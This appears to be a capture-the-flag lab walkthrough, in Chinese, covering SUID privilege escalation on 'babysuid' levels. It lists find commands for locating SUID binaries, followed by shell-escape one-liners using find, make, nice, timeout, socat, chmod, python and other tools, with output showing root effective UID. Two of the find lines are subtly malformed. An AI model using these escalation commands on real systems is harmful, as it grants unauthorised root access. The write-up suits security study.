以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,请逐个尝试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;
env
1 2
| uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|
find
1 2 3
| hacker@babysuid_level25:~$ find . -exec /bin/sh -p \; -quit
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|
make
1 2 3
| hacker@babysuid_level26:~$ make -s --eval=$'x:\n\t-'"/bin/sh -p"
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|
nice
1 2 3
| hacker@babysuid_level27:~$ nice /bin/sh -p
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|
timeout
1 2 3
| hacker@babysuid_level28:~$ timeout 1 /bin/sh -p
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|
stdbuf
1 2 3
| hacker@babysuid_level29:~$ stdbuf -i0 /bin/sh -p
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|
setarch
1 2 3
| hacker@babysuid_level30:~$ setarch $(arch) /bin/sh -p
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|
socat
在一个终端上监听
1 2 3
| hacker@babysuid_level32:~$ socat file:'/dev/tty',raw,echo=0 tcp-listen:8888
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|
在另一个终端上弹shell
1
| socat tcp-connect:127.0.0.1:8888 exec:'/bin/sh -p',pty,stderr
|
chmod
1 2 3 4
| hacker@babysuid_level38:~$ chmod u+s /bin/sh hacker@babysuid_level38:~$ /bin/sh -p
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|
python
1 2 3
| hacker@babysuid_level42:~$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
|